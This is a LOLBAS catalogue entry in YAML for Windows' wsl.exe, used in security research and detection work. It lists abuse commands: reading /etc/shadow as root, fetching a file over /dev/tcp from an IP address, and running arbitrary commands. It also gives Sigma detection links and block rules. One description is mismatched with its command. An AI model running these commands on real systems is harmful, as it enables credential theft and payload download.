LOLBAS/yml/OtherMSBinaries/Wsl.yml
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Update old sigma link (#303)
* Update SigmaHQ ref

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* Update SigmaHQ ref

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* Update SigmaHq ref

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* Update SigmaHq ref

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2023-10-18 11:30:34 -04:00

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YAML

---
Name: Wsl.exe
Description: Windows subsystem for Linux executable
Author: 'Matthew Brown'
Created: 2019-06-27
Commands:
- Command: wsl.exe -e /mnt/c/Windows/System32/calc.exe
Description: Executes calc.exe from wsl.exe
Usecase: Performs execution of specified file, can be used to execute arbitrary Linux commands.
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10, Windows 19 Server
- Command: wsl.exe -u root -e cat /etc/shadow
Description: Cats /etc/shadow file as root
Usecase: Performs execution of arbitrary Linux commands as root without need for password.
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10, Windows 19 Server
- Command: wsl.exe --exec bash -c 'cat file'
Description: Cats /etc/shadow file as root
Usecase: Performs execution of arbitrary Linux commands.
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10, Windows 19 Server
- Command: wsl.exe --system calc.exe
Description: Execute the command as root
Usecase: Performs execution of arbitrary Linux commands as root without need for password.
Category: Execute
Privileges: User
MitreID: T1202
OperatingSystem: Windows 11
- Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
Description: Downloads file from 192.168.1.10
Usecase: Download file
Category: Download
Privileges: User
MitreID: T1202
OperatingSystem: Windows 10, Windows 19 Server
Full_Path:
- Path: C:\Windows\System32\wsl.exe
Code_Sample:
- Code:
Detection:
- Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wsl_lolbin_execution.yml
- BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- IOC: Child process from wsl.exe
Resources:
- Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules
- Link: https://twitter.com/nas_bench/status/1535431474429808642
Acknowledgement:
- Person: Alex Ionescu
Handle: '@aionescu'
- Person: Matt
Handle: '@NotoriousRebel1'
- Person: Asif Matadar
Handle: '@d1r4c'
- Person: Nasreddine Bencherchali
Handle: '@nas_bench'